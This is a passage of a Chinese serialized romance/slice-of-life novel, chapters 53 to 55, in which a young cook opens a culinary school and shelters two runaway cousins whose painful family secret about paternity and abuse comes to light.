丁仁没有多犹豫,立即对赵晓道:“赵官爷,我想报名。”
赵晓记下丁仁的名字,这是在他这里报名的第一人。
后面丁仁陪着赵晓一起去找他们村子里其他在地里的人,有了丁仁带路,赵晓少走了不少的冤枉路。
而且丁仁是熟面孔,一定程度上缓解了百姓们见到官差的害怕之情。
也能更好的去思考赵晓说的话。
不过有丁老汉这样胆识魄力的村子里并不多,更多的都是想观望,不想承担一点风险,后面再看。
对此赵晓也没有说些什么,他知道,百姓们没有承担风险的能力。
谨慎一些,也好。
至少能让家里人,保持现状。虽吃不饱,但也不至于饿死。
丁仁所在的村子,赵晓最后只记了三个人的名字。
第53章 第 53 章
目前厨师技术学院, 只有黎小鱼一个人教。
因此,第一批招生,人数并不会太多, 不然会带不过来。
等后面出师的多了, 总能遇见愿意留下来任教的, 到时候再扩展招生的名额。
黎九章派出去的人, 村子里的, 只有赵晓那报名的最多,三人。
其他十个出去宣传的, 最多只有两人报名。
有的跑了三四个村子, 都没有一个人报名。
加起来一共就只有二十来个。
对此,黎九章有所预料。
等第一批的学子学成出来后, 看到了成效, 招第二批的时候, 自然都不需要他再派人出去宣传,就会有大批的人过来报名。
只有亲眼见过了是好的, 百姓们才真的敢尝试。
不过城中报名倒是不少, 一下子就有三十来个。
黎九章没有直接就收下这些人, 而是仔细的打听了这些人的品行如何。
村子里来的二十来人,倒是都符合要求。
城中的有十来个,总会做些小偷小摸的事情,惹得邻里十分的不快。
这些人, 黎九章都让手下人叫他们离开了。
并非不是不给犯过错的人一次机会,而是身为大伯父, 黎九章不想将潜藏的危险, 送到侄子的身边。
与府衙签订好契约后,黎九章让他们回去收拾行囊。
有些已经收拾好背在身上的, 便由人直接带去学院。
加上这些人,学院有近九十人,数量上是黎小鱼能教的极限。
黎九章那边也不再派人对外宣传学院。
只等第一批学成。
丁仁将被褥用麻绳捆好背在身上,衣物碗筷木盆那些,都是塞在被褥里卷起来。
到学院门口的时候,丁仁和一众前来的人们,都仰头看着气派的院子,发出了惊叹声。
跨过高高的门槛,里面极其宽阔。地面的青砖铺的整齐,左右两边还有丁仁非常熟悉的土地。
此时有人正用石镐在吭哧吭哧的刨地,准备播种。
进去后,管杂务的刘青和祝耘两个人给丁仁他们念菜单,让他们选想学的菜。
等选好登记后,宿管陆拾就过来领着他们去宿舍。
丁仁一行人跟在陆拾身后,一路上都不敢乱瞥乱看。
一直到宿舍的时候,一行人实在是被以后的住处惊讶到,忍不住的转着头四处的打量。
眼中都是难以置信的讶异。
他们后面要在这样好的屋子里睡觉吗?
而且还是一人一张床,这床是他们没见过的,打床的木料能看出来是好料子,结实的很。
陆拾给来的这些,按着学的菜色,相同的八人一间分配好宿舍。
因为开班不久,这些人可以直接插班进去学,不必再分新的班级。
学院食堂,黎小鱼没有请专门的厨子。而是请了邻里的几个婶婶每天过来做三餐,按餐给钱。
食材什么的,都是他这边让刘青和祝耘去采买的,账都是黎小鱼自己管。
不过黎小鱼每天还是会抽出时间,给他还有贺辞单独做饭菜。
贺辞现在吃饭,都是直接来厨师学院,更近。
而且,每天都是和黎小鱼一起吃。
“这个红糖糍粑挺好吃,你多吃一些。”
贺辞用公筷给黎小鱼夹了软糯香甜的糍粑,自从和黎小鱼一起吃饭后,给黎小鱼夹菜,已经成了贺辞必做的事情。
黎小鱼自己做的菜,没有一道是他自己不爱吃的。
对于贺辞的夹菜,也是来者不拒。
夹什么,他就吃什么。
贺辞又是看黎小鱼吃了他夹的菜,一高兴就一直夹的人。
也就几天的功夫,已经成了黎小鱼几乎不动筷子夹菜,全是贺辞夹的状态。
等黎小鱼说吃饱了,贺辞才会意犹未尽的放下公筷,开始把剩下的菜全部吃了。
今日也是一样,黎小鱼说了一句饱了,贺辞脸上有些不舍,但放筷子的速度还是很快的。
吃撑了也难受,只要黎小鱼说饱,贺辞就不会不顾他的意愿继续夹。
吃完后,贺辞如往日一样,拉着黎小鱼散步。
平时这个时候,他会顺理成章的一直问黎小鱼一天都干了什么,黎小鱼每天的回答都差不多,但贺辞就是乐此不疲的问着。
只有黎小鱼会对他的每一个问题,都给予回应。
不过贺辞今天没有问黎小鱼都干了什么,而是说起了凌少卿和柳玉攀。
“兄弟两离家出走了,把凌将军气的不轻。”
贺辞说罢,黎小鱼担忧道:“什么时候的事?又为的什么?”
明明不久前的上元节还偷偷来给他送生日礼物,怎么又离家出走了?
黎小鱼猜想肯定不是为了学菜这个事情,因为珍馔楼跑不了,那是少卿的母亲给他留下的,少卿不会放得下。
且上次看柳玉攀的信,黎小鱼能看出凌少卿的妥协。
突然一下离家出走,一定是发生了很严重的事情。
黎小鱼说不担心是假的,他没把凌少卿当徒弟,但他多少把凌少卿当朋友了。
就算是柳玉攀,黎小鱼也忍不住的为他担忧。
虽然柳玉攀很多时候因为嘴贱不服输,总会做一些惹人不喜的事情。
但是真的多交流相处,也不难看出他其实重情义。
他对凌少卿那么维护在意,与其说是因为二人是兄弟,不如说只有凌少卿对他好,所以他才会拼命的维护凌少卿。
不管发生什么,都会站在凌少卿一边。
而柳玉攀经过那顿打之后,也改变了许多。没那么的冲动易怒,也信守承诺,再没有找过黎小鱼的麻烦。
不仅如此,甚至还有些怕黎小鱼。每次遇到黎小鱼就怂,不敢惹。
凌少卿跟着黎小鱼学做菜的那段日子里,柳玉攀每天都在。
与小猫儿打闹的画面黎小鱼都还记得清楚,他也不是铁石心肠,那么长时间的接触,也算是熟识之人。
听到熟人离家出走,杳无音讯,不可能无动于衷。
贺辞也不知道为的什么,不过书院里这两日突然流传出一些关于兄弟两不太好的话。
他知道凌少卿是黎小鱼的徒弟,这消息,贺辞还是告诉了黎小鱼。
“两日前书院不知为何,突然流传说他们二人不是表兄弟,而是同父异母的亲兄弟。”
贺辞稍顿片刻,“我想,他们可能是因为这离开的。”
黎小鱼惊讶的不知说什么才好,亲兄弟……
仔细想想,二人长得确实是像。
但这也正常,毕竟他们的母亲是亲姐妹。
黎小鱼更好奇的是,谁将这消息散布在书院里面的。
凌少卿和柳玉攀对外一直都是表兄弟的身份,他二人清不清楚身份另说,家里长辈肯定是清楚。
若是真的,如此隐瞒,必然是有秘辛不想人知道。
这样毫无征兆,突然散播出来,他们兄弟二人在书院又如何自处。
若是假的,空口造谣中伤更恶劣。
黎小鱼问道:“小侯爷能查到是谁传播的这些吗?”
贺辞点头,信心十足,“你说我就能。”
黎小鱼已经习惯了贺辞见缝插针的对他表露,他在贺辞那的特殊性。
现在已经能面不改色的应对,“小侯爷果然厉害,那我等着小侯爷的消息。”
“好,一定不让你久等。”
贺辞一口应下,回去就叫人去打探消息。
没等贺辞打探出个结果来,凌少卿和柳玉攀就找了黎小鱼。
两日后的晚上,小猫儿神神秘秘的跑到黎小鱼的屋里,把一封皱巴巴的信交给他。
“哥哥,这是臭烘烘脏兮兮的玉攀哥哥给我的。他要我给哥哥看,不让我告诉别人。”
黎小鱼略过小猫儿对柳玉攀的那么长前缀,伸手接过信,边开边问,“什么时候的事?他看起来有没有受伤?还有没有和你说别的?”
小猫儿一条一条的回着。
“中午的时候,我出去买糖吃,有个小乞丐带我去了个巷子口。玉攀哥哥在里面,他就叫我把信给哥哥。好像有点受伤,但是我看不清楚,他太高了。没说什么,就说我又胖了,要胖成猪仔了。”
黎小鱼有些哭笑不得,小猫儿以前瘦的麻杆一样,现在只是长了些肉,整体还是偏瘦的。
柳玉攀这时候都不忘嘴贱逗猫儿,看来处境还不是太差。
黎小鱼注意到小猫儿说的小乞丐,被人一叫就走,实在是缺乏安全意识。
他没急着看信,先对小猫儿说了许多。
“猫儿,以后有陌生人要带你去什么地方,尽量不要去。万一是串通好的,要拐走你可怎么办啊?”
黎小鱼轻轻捏了捏小猫儿软嫩嫩的小脸,语气很轻的恐吓着呆萌萌的小猫儿。
“运气好卖到一家对你好的人家。运气要是不好,整天都会吃不饱,穿不暖,泔水都没得吃,那是猪的饭。你只能趁着大人不在,去和猪抢。”
“要是村子里有村霸,整天打你取乐,在你快被打死的时候,买你的人,就算路过都不会多看你一眼,像不认识你一样,更别提救你了。他们后面还会抛弃你,你年纪小,又是一个人在外流浪,有数不清的危险和虐打等着你。”
小猫儿吓坏了,他以前也吃过泔水挨过打,但是爷爷都会拼命的保护他。
要是爷爷看着他被人快打死,却装作不认识他直接走掉,他会不想活下去的。
“哥哥,我再也不会跟着不认识的人走了,我不要被拐卖掉,卖掉好可怕啊。”
小猫儿吓的眼睛里蓄着眼泪,黎小鱼心疼的把人往怀里抱,“哥哥不好,吓到猫儿了。”
小猫儿抽搭着,小手抱紧黎小鱼,软绵绵的说: “没有,哥哥是为猫儿好才这样说的。”
安抚好小猫儿的情绪后,黎小鱼看起了信。
内容不多,有个地址还有见面时间。
时间就在今晚。
地方是在厨师技术学院的后门。
黎小鱼哄着小猫儿睡着后,起身去了学院。
他是走过去的,这时候路上没什么人,偶尔会有巡逻的官差提着灯笼走过。
到地方后,就看到后门的台阶上,坐着两颗巨型蘑菇。
黎小鱼走到巨型蘑菇前,低头看两离家出走的兄弟菇,“听说你俩离家出走了?”
凌少卿和柳玉攀齐齐看向黎小鱼,脸上脏兮兮的,衣服也皱巴的厉害。
凌少卿脸上还有伤,仔细一看,柳玉攀脸上也没好到哪里去。
两人像是终于找到家的大狗,晃着尾巴可怜兮兮的盯着黎小鱼看。
咕噜咕噜的肠鸣实在难以忽略,黎小鱼轻叹一声,“跟我来。”
二人急忙起身,低着头缀在黎小鱼身后。
食堂后厨点了蜡烛,黎小鱼和面给二人做手擀面吃。
也没什么配菜,食堂的菜都是买多少吃多少,不带一点剩余的。
主要原因是他这的学生们每次吃饭都像打仗,势必要将食物消灭的连汤都不剩一滴。
因此,兄弟二人的手擀面里面,只有盐,还加了一点点的猪油提味。
还有黎小鱼摸出的一个鸡蛋,打进去后,熟了捞上来一分为二,一人碗里放一半。
不过黎小鱼面揉的好,很是劲道。火候恰到好处,不会太软也不会太硬,即便只有盐和少许猪油,吃着味道也不错。
兄弟两是饿狠了,也不顾面刚出锅烫嘴,吃的狼吞虎咽。
黎小鱼对兄弟两道:“慢点吃,别烫着了。不够锅里还有,还不够我再给你们做。”
凌少卿习惯了听黎小鱼的话,放慢了速度。
柳玉攀也是一样。
面快吃完的时候,黎小鱼听到了抽泣声。
蜡烛的火光在摇曳着,黎小鱼没有出声询问,让他们尽情的释放心中的情绪。
两人边哭边吃,控制不住眼泪,也控制不住饥肠辘辘。
黎小鱼起身又给二人碗里添面,只轻声道:“烫,慢点吃。”
凌少卿呜了一声,抽泣着吸面条。
柳玉攀也跟着呜一声,一抹眼泪,继续吃面。
连吃三碗,终于把肚子填饱了。
黎小鱼也端了一盆水来,“快洗把脸。”
之前脸上就脏,眼泪一淌更脏了。
柳玉攀让凌少卿先洗,等洗完后,清水变成了黑水。
好在两人的脸终于能看了,黎小鱼问道:“要去宿舍那边睡觉,还是去我家?宿舍没被褥。”
两人坐在凳子上没动,寂静之后,凌少卿小声道:“师父,你不好奇吗?”
黎小鱼摇头,“我只担心你们的安危,现在人好好的在我面前,其他的事情,对我来说并不是非要知道不可。”
他能从二人现在的状态知道,让两人离开的那件事,一定对他们伤害很大。
黎小鱼不想揭开他人伤疤,只为了满足所谓的好奇心。
凌少卿都已经不哭了,结果听了黎小鱼的话后,直接扑上去抱住黎小鱼,呜呜哇哇的哭了好久。
鬼哭狼嚎的喊师父。
没师父求安慰的柳玉攀坐在一旁,看着黎小鱼轻轻拍他表哥后背安抚,心中酸涩无比。
他抹掉眼泪,低着头暗自掐着自己,想让自己不要哭。
但眼前还是模糊了一片,眼泪一滴一滴的落下。
属于柳玉攀的张狂自大,在此时此刻消失不见。只有无助与无尽的悲伤。
黎小鱼没有问兄弟二人到底怎么回事,但他们自己还是说了。
在经过柳玉攀默认,凌少卿开的口。
他们需要将这份难以启齿的,令人气愤窒息的事,找到一个宣泄口,讲出去,缓解心中巨大的压力和负面情绪。
“师父,我是玉攀的亲哥哥。”
至少,柳家人是这么认为。
柳玉攀的母亲潘夏与凌少卿的母亲潘春,是亲姐妹。
凌少卿生辰宴时,他爹喝醉了酒,被就近送屋里去休息。
却不想屋里有同样醉酒不适的潘夏。
没人知道他们有没有发生什么,但孤男寡女醉酒共处一室,就算真的没什么,也很难说清楚。
此事两家遮掩的很好,没有被旁人知晓。
回到柳家不久后,潘夏怀孕了。
那孩子就是柳玉攀。
柳家说不确定是凌家的,还是他柳家的。
从此,柳家靠着柳玉攀的存在,拿捏着凌家。小小的武官之家,背靠凌府,跨越了阶层。
潘春心疼妹妹,会经常去看妹妹。
那件事之后,所有人都在指责她的妹妹。凌家,柳家,甚至是潘家。
明明她的妹妹才是最无辜的,受伤最重的人。可所有的罪责,却全都落在妹妹的身上。
这个孩子,更是没人喜欢没人期待。
在没有出生的时候,就被诅咒着。
所有人都要潘夏打掉这个孩子,可潘夏不要。
她不想再听这些人说的任何话,孩子是她怀的,是她的。
她自己的孩子,不是别人的。
潘夏怀胎十月,有了姐姐时常的照料,加上她自己的精心呵护,终于顺利产子。
她很爱自己的孩子,但最终还是被流言杀死。
而柳玉攀的童年,是在地狱中度过。
整个柳府,从上到下,所有人都能唾骂殴打柳玉攀。
只要不把人打死,只要外面看不出来有伤。
潘春无意得知后,气愤的将柳玉攀带回凌府。
那是她妹妹的孩子,她不能让这孩子在柳家被如此的折磨羞辱。
潘春以自己的力量,替孩子们隔绝了一切。让他们能无忧无虑的长大,只是她的身体也出了问题,命不久矣。
常年忧思,不是好的兆头。
她知道,凌家也有许多的流言蜚语,只是从来不敢在凌家主家人面前说。
但他们会在柳玉攀面前说。
即便是整顿过很多次,根本不管用。
因为柳玉攀姓柳不姓凌,他们也只说柳玉攀生父不详,苟且而来。
伤的只有柳玉攀与过世的潘夏。
潘春想再整顿,但心有余力不足。
人再怎么换,消息都会再次蔓延开来,然后传到柳玉攀的耳中。
她只能一遍遍的让她的少卿,答应她,无论如何都要站在弟弟这边。
如果没有人在紧要关头拉那孩子一把,他会被这些话,彻底毁掉。
因为没人敢在凌少卿面前透露过这些,凌少卿从来不知道这事。
那些下人心里清楚,在柳玉攀面前小声议论,他们不会怎样。
因为柳玉攀不会告诉主家,他们不会死。
但凌少卿要是知道了,他们会被将军杀了的。
凌少卿这次知道,是因为久违的去了柳家贺寿。
老太太整寿,柳玉攀不得不回去。凌府也有邀帖,凌少卿和他爹也去了。
到了柳家不久,凌少卿发现柳玉攀人没了。他去找人,结果无意撞见柳家的几个公子,围着柳玉攀羞辱。
那些话,不堪入耳。
凌少卿当时直冒火,不管不顾冲了出去,把他们每个人都揍了。
凌怀远要他道歉,但他已经被那些刺耳的话,刺的失去理智。
凌少卿大声的质问他的父亲,却只得到父亲震怒的耳光,没有任何的回答。
然后他就跑了,还不忘拉着柳玉攀。
因为他下意识的担心,柳玉攀留在这会被人欺负。
所以带着自己弟弟,离家出走了。
黎小鱼听完,看了一眼沉默的坐在一旁的柳玉攀。
终于明白柳玉攀的性子,为什么会是这样的。
对于他的身世,黎小鱼想的却更黑暗一些。
他觉得,这一切都不是巧合,是柳家人策划的。
为了凌家的权利。
若是这样的话,柳玉攀母亲应该更绝望。
以为得嫁良人,结果却是虎狼窝,一家子趴在一个女子身上蚕食她的血肉。
见黎小鱼一直没说话,沉默许久的柳玉攀突然道:“黎小鱼,我这样的身世,你会厌恶吗?”
黎小鱼收回思绪,如实回他。
“我不会因为身世厌恶任何人。”
他说完后看向柳玉攀,郑重道:“柳玉攀,没有人可以选择自己的身世。所以你不要因为这个,而让自己以后都过的不开心。你现在这模样,都不像柳玉攀了。小猫儿见了眼下的你,怕是都不敢认。”
柳玉攀闻言勾唇轻笑,除了表哥以外,黎小鱼是第二个知道他身世,也没有讨厌他的人。
不过柳玉攀没有表现出来,只说小猫儿,“胡说,他一眼就认出我了。”
上午的在巷子的时候。
“所以你两去哪睡?我要困死了。”黎小鱼避开这个让人难受的话题,催促道。
兄弟二人心中郁结得解,异口同声,“你家。”
天色太晚,不好再收拾新屋让兄弟两住。
小猫儿的房间给他们睡了,小猫儿跟着黎小鱼睡一宿。
此时军营中,定安侯看着下方喝闷酒的凌怀远。
“行了,你别喝了。光喝酒事情能解决吗?”
凌怀远又一口酒下肚,人也醉熏熏的。
定安侯皱眉问他,“所以柳家那个,到底是不是你儿子?”
说到这个,凌怀远不喝了。
“侯爷,那晚我是醉了,不是中迷情药了。”
凌怀远言语有些激动,“人真醉了什么样,侯爷又不是不知道。睡的死猪一样,哪动的起来?”
定安侯自然知道真醉了不会所谓酒后乱性,能乱的都是借酒壮色胆的。
可真没做的话,也有一点说不通啊。
“那你没做肯定知道孩子不是你的,你这么些年怎么一直没说?说的话哪怕外面人不信,至少柳家不敢拿这个再要你时不时的给他们家好处。”
结果这厮不仅不解释,还把柳玉攀带回府养着。这要对柳家说柳玉攀不是他凌怀远的儿子,谁信啊?
凌怀远几杯酒下肚,脑袋昏沉。
事到如今,也快收网,不必再瞒着。
于是便和定安侯都说了。
这些事这么多年一直憋在心里,他也累得慌,像一块无形的巨石压的喘不过气。
“是我夫人和潘夏要求的。”
定安侯有些吃惊,没想到会是这样。
毕竟只有想办法洗干净污水的,没见过往自己身上泼污水的。
凌怀远眼神迷离,陷入回忆,“她们怀疑是柳家故意的,如果是这样,柳家人确认孩子真不是我的,那这孩子就没有利用价值了。”
只这两句,定安侯便明白为何要这样了。
没有价值的人,会死。
这柳家人是算准了凌家不会杀子,若柳玉攀可能是凌家的儿子,那柳家便可以以此长期的拿捏凌家。
也因此,柳玉攀必须活着。
“夫人和潘夏是想先迷惑柳家,保住那孩子的命。后面再找准合适时机,想办法对付柳家。可她们姐妹俩,都没撑下来。”
凌怀远一杯又一杯的喝着,眼角湿润。
他想夫人了。
他没完成夫人交代的任务,没养好少卿,也没照顾好玉攀。
他把俩孩子全给弄丢了,找不着了。
哎,难受,心里闷,要喝酒。
凌怀远这么想着,干脆也不倒酒了,直接抱着酒坛子喝。
定安侯怕人再喝死,出声转移凌怀远的注意,“所以你这些年,不是真的关照柳家。是喂胖他们再杀?”
凌怀远的长髯都被酒液打湿,他把酒坛放下,“是啊,快到时候了,估计能抄出不少的钱。到时候侯爷多给我分点,我给家里俩孩子买些小玩意。”
哎,这两臭小子这次来真格的了,他这做长辈的,也实在是没辙。要是人能回来,大老爷们低个头也不是不行。
正想着呢,就听定安侯毫不留情道:“你先找到人再说吧。”
……
凌少卿兄弟二人不知道有人为他两醉酒,他们这些天东躲西藏的,终于睡了个好觉。
军营里搜寻的将士可不是吃素的,他们为了躲避,全天精神紧张,身上也没什么银子,那么重的东西都是随身小厮揣着的。
因此也没吃什么饭,实实在在的流浪了几日。
好不容易吃饱喝足,又有床睡被子盖,一觉睡到天亮,梦都没做一个。
黎小鱼要上课,他给二人留了字条先走了。
黎九州夫妻二人也从黎小鱼那知道凌少卿他们在,不过对他们的事不知道,黎小鱼没说。
他们也要去小饭馆,便留了小猫儿在家照看两人。
柳玉攀一睁眼,就看见小猫儿呆萌的一张脸。
他的小胖爪子正要往他脸上打,被柳玉攀一把抓住,“你小子多日不见,都学会偷袭了?”
小猫儿把另一只手里的瓷盒送到柳玉攀眼前,认真的说:“哥哥叫我给你们伤口涂药膏,说再不涂药膏,你们要变猪头啦。”
柳玉攀闻言有些尴尬的放下小猫儿的手,“你哥放屁你都当是真理。”
一旁的凌少卿听到柳玉攀说的话,无声的笑了。
这几日,他见多了沉默不语的柳玉攀,这样嘴欠找打的,实在怀念。
他要张嘴说话,发现声音哑的不行。
但依旧坚持着说道:“表弟,那是我师父。不可以这么说他。”
柳玉攀低头道:“表哥,你有了师父忘表弟,什么都向着黎小鱼还有他养的猫。”
兄弟二人重复着以前还在黎小鱼身边时,经常会说的话。
想想,那是他们能想起来的,真正快乐的时候。
他们那会,还是表兄弟。
现在,姑且也是吧。
第54章 第 54 章
凌少卿和柳玉攀一整天都在黎小鱼家里, 家里有食材,凌少卿会做饭,他负责给柳玉攀还有小猫儿做饭吃。
小猫儿吃的香, 就是柳玉攀老烦他。
只一个早上, 小猫儿就已经憋了一肚子的状, 想着黎小鱼回来的时候告。
中午的时候, 贺辞照例去了厨师学院。
黎小鱼没有同贺辞讲兄弟两的事, 二人昨晚说暂时不想回家去。
这时候也确实都需要冷静一下,调节情绪, 不适合面对整件事情。
贺辞中午的时候去黎小鱼那吃饭, 对他说散播谣言的人抓到了。
是江安搞的鬼,记恨柳玉攀之前在大街上给他难堪。
所以才把这个消息散播出去。
至于他是从哪里知道这个消息的, 他怕贺辞揍他, 没多隐瞒, 说是他爹那得来的。
这些文臣武将们,手里多多少少的握着一些对方的把柄和秘辛。
不过都是不到万不得已不会说出来, 毕竟说出来就没价值了。
黎小鱼总觉得哪里怪怪的, 他虽然和江渚松接触不多。
但也不难看出, 对方傲慢狂妄,阴险狡诈。为了出气,连派杀手伤人的事情都干得出来。
这样的消息放在手里,他只会尽可能的发挥出更大的用处。
而不是在书院里传播, 虽搞得人尽皆知,却又没有真的伤到凌家。
最多就是凌少卿和柳玉攀面上无光, 但若二人强势一些, 那些人也不敢说什么,毕竟身份摆在那。
不过江安自己都承认了, 黎小鱼也只当自己想的太多。
或许就是江安不小心听到的消息。
“那书院那边,对少卿他们是什么看法?”
比起别的,黎小鱼现在更在意这个。
贺辞道:“我让人不准再谈论这些了,凌少卿是你徒弟,我知道你不高兴别人说他。”
黎小鱼道:“是我徒弟之前,他是你朋友。”
贺辞笑了一声,对黎小鱼的想法感到不可思议,“黎小鱼你想什么呢?我从来没有过朋友。”
黎小鱼有些惊讶,回忆着贺辞与裴叔群他们在一起玩时的样子。
“裴叔群他们,不是你朋友吗?我感觉你们挺要好的。”
贺辞摇头,他分得清楚熟识之人,与朋友之间的差距。
“父辈交情而已,我的身份,让我身边不会出现对我不好的人。至少明面上是这样。所以给了你错觉,以为他们是我的朋友。”
黎小鱼沉默片刻,好像是这样的。
不过他以为至少裴叔群会有些不一样,因为之前好几次,他都看见了贺辞单独与裴叔群在一处。
他抬头看贺辞,见他垂着眼眸,不知看何处,侧脸看去竟能品出几分寂寥味道。
黎小鱼问道:“小侯爷似乎话里有话,暗地里,有人对小侯爷不好吗?”
贺辞偏头,声音低沉,神色落寞,“有啊,可多了。”
黎小鱼微微皱眉,刚要开口说话,就被贺辞的笑声打断。
他抬手用指尖轻轻戳着黎小鱼的眉心,脸上扬起不羁的笑,“你怎么这么好骗,还真信啊?我可是贺辞,谁敢对我不好啊。”
黎小鱼看了贺辞一眼,径直走掉,“小侯爷下次少骗人,小心狼来了。”
“狼来了?什么意思?”贺辞大步跟上黎小鱼,追问道。
被缠的没办法,黎小鱼给他讲了一遍狼来了的故事,贺辞听完拍手,“故事挺有意思的,还有类似的吗?”
黎小鱼拒绝再讲,“没有。”
“真不讲了?”贺辞倒着走,笑着看黎小鱼,“我想听你讲,都没人给我讲过故事,再讲一个?小鱼?”
黎小鱼脚步放慢,怕贺辞退的速度快,人再摔着。
“最后一个,农夫与蛇……”
黎小鱼声音清越好听,眉眼温和,在给讨故事的人讲故事。
贺辞察觉到黎小鱼故意放慢的角度,一直看着黎小鱼,嘴角带着藏不住的笑,慢慢的往后退。
一个简短的故事讲完,贺辞意犹未尽。不知是因为故事没听够,还是没看够人。
因为倒着走,没能注意脚下。小小的石子,让贺辞失去了平衡。
黎小鱼反应迅速,伸手拽住了贺辞腰间的蹀躞带。
下一瞬,贺辞整个人向他倾来。
贺辞弯腰,与黎小鱼对视,近距离的看着他的脸。视线落下黎小鱼鼻尖的小痣,“你这次没躲我。”
黎小鱼似乎得到了提醒,把人推开,“小侯爷下次不要玩这种把戏。”
贺辞自幼习武,平衡力,腰力都很强,那小石头根本不会让他摔倒。
刚开始黎小鱼是真被他唬住,才伸手拉人。
结果他刚碰上对方蹀躞带,都没用力拉呢,人自己腰部一用力,刷的一下就起来了。
贺辞被拆穿也不恼,他高兴着呢。
嘿,黎小鱼不躲他了!
贺辞是高兴了,凌少卿和柳玉攀兄弟两在黎家待一天,闷的要死,一点也不高兴。
但让他们现在回去,他们也不会回的。
黎小鱼到家的时候,就看到两条“大狗”摇着尾巴就向他扑来。
“师父,你可回来啦。”
“黎小鱼,你终于回来了。”
随之而来的是一只可爱的小猫猫,“哥哥~”
黎小鱼蹲下身,迎小猫儿入怀,“怎么撅着嘴,咱们猫儿受委屈了?给哥哥说说?”
小猫儿猛点头,掰着手开始细数柳玉攀短短一日里,犯下的数十道罪状。
给一旁的柳玉攀听傻了,“不是,你连我拉你一下发髻都要告状啊?”
他得到了黎小鱼的无视,以及小猫儿边皱眉瞪他,边更生气的告状。
听完了“受害者”陈述后,黎小鱼判了小猫儿明天可以多吃一碗双皮奶,加两串牛肉串和两串羊肉串。
柳玉攀没有,只能看着小猫儿吃。
小猫儿高兴了,贴着哥哥说哥哥好,柳玉攀坏。
柳玉攀气的直翻白眼,不就双皮奶,羊肉串,牛肉串吗?谁稀罕!哼!
他刚在心里安慰好自己,就听他表哥腆着脸就上去,“师父,我没欺负小猫儿,我明天能吃吗?”
“能。”
黎小鱼肯定道。
柳玉攀啊了一声,转身进了房。
他就是多余的。
没多会,柳玉攀听到了推门声。
他以为是凌少卿,扔了个枕头过去,气他表哥不站他这边。
黎小鱼一把接过枕头,“多大人了,还乱扔东西。”
柳玉攀听声音不对,把自己的脸从被子里拔出来,手肘撑着床铺,扭头惊讶道:“你怎么来了?我表哥呢?”
黎小鱼把枕头放床上,没有居高临下的看着柳玉攀,而是顺势坐在床边。
“生你表哥气了?”
柳玉攀不吭声,脸上表情明显。
黎小鱼叹一口气,“我知道你想你表哥能一直站在你这边,只和你亲近。但这些日子来,他所见所闻,完全颠覆了以往的认知。他如今怕是都不知如何面对你。”
“又怕你难过伤心,只能装作与以前一样。他想见父亲,却又不敢见父亲。怕一切都是事实,他以后会无颜见你。”
黎小鱼对兄弟两的遭遇,也感到心酸。但如果还想将情谊延续下去,越是这种时候,就越不能只在意自己的情绪。
感情是相互的,你在意我一点,我在意你一点。
单方面的付出,所有的感情都长久了。
一直付出的人,也会累。
黎小鱼把话讲的更明白,希望柳玉攀能懂。
“少卿与我亲近,并不是就不在意你。只是他也需要有一个人,能在这个时候,可以靠一靠。”
柳玉攀静静的听着,末了嘟囔了一句,“明明和表哥认识没多久,搞的多了解他,多在意他一样。”
黎小鱼来这里,不是为了和柳玉攀争吵。也知道柳玉攀就是这个性子,有时候嘴硬,心里不是这样想,就是不服输。
若是刚认识的时候,柳玉攀说完,他直接就走了。
这次黎小鱼没走,只轻声道:“我知道,你最在意少卿。所以,你要起来和我一起,陪着你表哥,让他开心一下吗?”
柳玉攀没有犹豫,坐起身,“要怎么做?”
“跟我来。”
黎小鱼趁着天黑,带着凌少卿,柳玉攀跑去了学院的厨房。
小饭馆关门前,黎小鱼过去让方石头送一下烧烤架子去学院后厨。
他提前备了菜,准备带着他们来个露天烧烤。
厨房的院子虽然没什么景可以欣赏,但一抬头,就是圆月还有漫天闪烁的繁星。
已经是很美的景色。
黎小鱼食材虽然切好,不过没串呢。
三人就坐在院子里的石桌,围一圈,开始串肉。
柳玉攀心不在焉,他在想着黎小鱼对他说的那些话。
这些日子里,他确实没有考虑太多他表哥的心情。
他一直在想着自己有多惨。
完全忽视了,表哥心里的感受。
似乎一直到见到黎小鱼,表哥才露出以前的样子,真正的放松下来。
黎小鱼串着肉,“我还备了些酒,你们要喝吗?”
凌少卿第一个点头,“要,离家出走的这几天,总想喝一杯。”
柳玉攀也跟着点头。
肉串快穿好前,黎小鱼提前烧碳。
烧烤的时候,三人都抓着两把肉串,翻来覆去的烤肉。
热浪蒸腾,烟熏火燎,三人眯着眼睛,手上加料的动作不停。
“少卿,把你的肉串给我,先端肉串过去。”
黎小鱼把烤好的肉串放进托盘,转手给凌少卿。
凌少卿按着黎小鱼说的做,接过托盘,将其放在石桌上。
“你俩先去吃,酒在厨房里。”
黎小鱼开口赶人。
凌少卿不想黎小鱼一个人了在这辛苦烤肉串,想说留下一起烤,但看到黎小鱼让他走的眼神后,只好听话离开。
酒被拿了出来。
兄弟二人坐在石桌前,对着美酒与香气扑鼻的烤肉。
柳玉攀一晚上没怎么说话,凌少卿也一样。
短暂的沉默后,柳玉攀给二人的杯中倒酒,他举起酒杯对凌少卿说:“表哥,这几日辛苦你了。”
凌少卿也端起酒杯,不太敢面对柳玉攀,“表弟,是我太迟钝,竟然一直没有察觉到不对劲。害你受这么久的苦楚。”
柳玉攀鼻头一酸,“这事,和表哥没关系。”
第55章 第 55 章
确实与凌少卿没关系, 不过也无法阻止凌少卿心里的自责。
他这几天从柳玉攀那听了这些年发生在他身上的事情。
凌少卿不由得总是在想,要是他再多在意表弟一些,应该就能发现表弟院子里的下人不对劲。
可是他以前总是先入为主的觉得表弟脾气坏, 无缘无故的就会凶院子里的下人。
如今想来, 哪里是表弟的错, 明明是那些人多嘴嚼舌根。
黎小鱼给足了兄弟二人谈心的时间, 说是让凌少卿开心, 实际上是想柳玉攀一起带出来,让他们彼此说开。
不要因此生了嫌隙。
柳玉攀能感受到凌少卿对他的在意与自责, 说实话, 当他察觉到表哥因他过的不好而自责的时候。
他心里是高兴的。
明明表哥因此难过,可他却很高兴。
听起来不像话, 他也不敢表露。
凌少卿酒一杯接一杯的喝, 柳玉攀陪着他一起喝。
黎小鱼翻着肉串, 分了些神注意后面,省的两人再喝多了。
见哥两说的差不多, 黎小鱼也拿着一堆肉串坐了过去开始吃。
借酒消愁, 愁更愁。
凌少卿知道这个道理, 他也不想黎小鱼最后给他兄弟二人收拾烂摊子,只微醺便停下。
借着酒劲,胆子也大了很多。
他先是抱着柳玉攀哭,说以后一定好好对他, 再也不胡乱冤枉他了。
然后又抱着黎小鱼不撒手,嚷嚷着要一辈子做他徒弟。
